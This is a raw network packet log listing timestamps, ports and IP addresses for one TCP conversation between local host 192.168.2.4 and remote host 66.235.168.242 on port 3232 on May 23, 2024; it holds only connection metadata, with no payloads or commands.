May 23, 2024 13:53:47.816503048 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.817751884 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.817785978 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.817827940 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.817972898 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.818089962 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.818885088 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.819854021 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.819953918 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.819997072 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.820153952 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.821026087 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.821197987 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.822247982 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.822361946 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.822585106 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.822869062 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.823856115 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.824546099 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.824672937 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.824697018 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.825735092 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.825829983 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.827405930 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.827500105 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.827564001 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.827675104 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.827770948 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.827812910 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.827869892 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.829004049 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.829132080 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.829200983 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.829200983 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.830075979 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.832758904 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.833229065 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.837549925 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.882869005 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.885886908 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.887381077 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.887495041 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.892220020 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.897146940 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.897193909 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.897217989 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.897263050 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.897309065 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.907937050 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.910722017 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.910773039 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.910804033 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.918461084 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.918514013 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.918550014 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.924874067 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.924920082 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.924941063 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.933897018 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.933944941 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.933964968 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.934005976 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.934046984 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.935683966 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.935731888 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.935776949 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.942245960 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.942295074 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.942338943 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.946537018 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.946583986 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.946636915 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.951937914 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.951987028 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.952028036 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.957005978 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.957058907 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.957104921 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.957134962 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.961981058 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.961997032 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.962033987 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.966780901 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.966795921 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.966825962 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.970751047 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.970766068 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.970803022 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.975047112 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.975074053 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.975091934 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.975099087 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.975125074 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.979253054 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.979274988 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.979316950 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.983506918 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.983525991 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.983563900 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.987695932 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.987744093 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.987782001 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.991617918 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.991664886 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.991718054 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.994901896 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.994951010 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.995007038 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.995022058 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.999664068 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.999711037 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.999732018 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.002125025 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.002172947 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.002193928 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.005338907 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.005384922 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.005409002 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.008642912 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.008692026 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.008711100 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.008758068 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.008796930 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.012773037 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.012820005 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.012871981 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.015372992 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.015419960 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.015471935 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.018177986 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.018224001 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.018280029 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.020777941 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.020826101 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.020870924 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.023550987 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.023597956 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.023642063 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.023660898 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.026297092 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.026343107 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.026366949 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.030105114 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.030149937 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.030173063 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.031521082 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.031575918 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.031589985 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.033984900 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.034030914 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.034050941 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.034096956 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.034147978 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.036355972 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.036406040 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.036446095 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.038572073 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.038619041 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.038662910 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.040838003 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.040887117 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.040929079 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.043032885 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.043080091 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.043124914 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.045187950 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.045234919 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.045275927 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.045298100 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.047272921 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.047317982 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.047339916 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.049360037 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.049408913 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.049427986 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.051309109 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.051356077 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.051376104 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.053200006 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.053246021 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.053266048 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.053308964 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.053353071 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.055099010 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.055145979 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.055202961 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.056984901 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.057046890 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.057096958 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.058649063 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.058667898 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.058706045 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.060399055 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.060417891 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.060458899 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.062094927 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.062114000 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.062135935 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.062150002 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.067878962 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.067907095 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.067925930 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.067934036 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.067951918 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.067959070 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.067976952 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.067996025 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.068007946 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.068726063 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.068747044 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.068763971 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.068772078 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.068814039 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.070355892 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.070374012 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.070424080 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.071845055 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.071860075 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.071906090 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.073425055 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.073443890 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.073483944 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.075001001 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.075018883 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.075057030 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.076561928 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.076581955 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.076600075 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.076618910 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.078064919 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.078084946 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.078104973 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.079437971 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.079456091 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.079479933 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.080749989 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.080768108 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.080792904 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.082050085 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.082070112 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.082087994 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.082096100 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.082139015 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.083344936 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.083364964 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.083404064 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.084635973 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.084654093 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.084692955 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.085839987 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.085858107 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.085906029 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.087044954 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.087064028 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.087110996 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.088259935 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.088305950 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.088357925 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.088371992 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.089412928 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.089510918 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.089529037 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.090579033 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.090631008 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.090643883 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.091691971 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.091738939 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.091756105 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.092822075 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.092870951 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.092885971 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.092928886 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.092974901 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.093911886 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.093957901 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.094007015 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.094971895 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.095017910 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.095068932 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.096056938 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.096102953 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.096153975 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.097004890 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.097052097 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.097099066 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.117837906 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.118266106 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.118339062 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.118513107 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.119262934 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.119316101 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.119509935 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.120361090 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.120415926 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.120590925 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.121469021 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.121515989 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.122404099 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.122451067 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.122514009 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.122625113 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.123821974 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.123878956 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.124041080 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.124783993 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.124842882 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.124978065 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.125613928 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.125664949 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.125881910 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.126501083 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.126549959 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.127171040 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.127218008 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.127274036 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.127402067 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.128242016 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.128288984 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.128469944 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.129126072 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.129173994 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.129381895 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.130086899 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.130152941 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.130320072 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.130939960 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.130992889 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.131774902 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.131820917 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.131874084 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.131990910 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.132483959 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.132535934 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.132812977 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.133671999 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.133728981 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.133894920 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.134499073 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:48.134548903 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:48.134685040 CEST	3232	49730	66.235.168.242	192.168.2.4
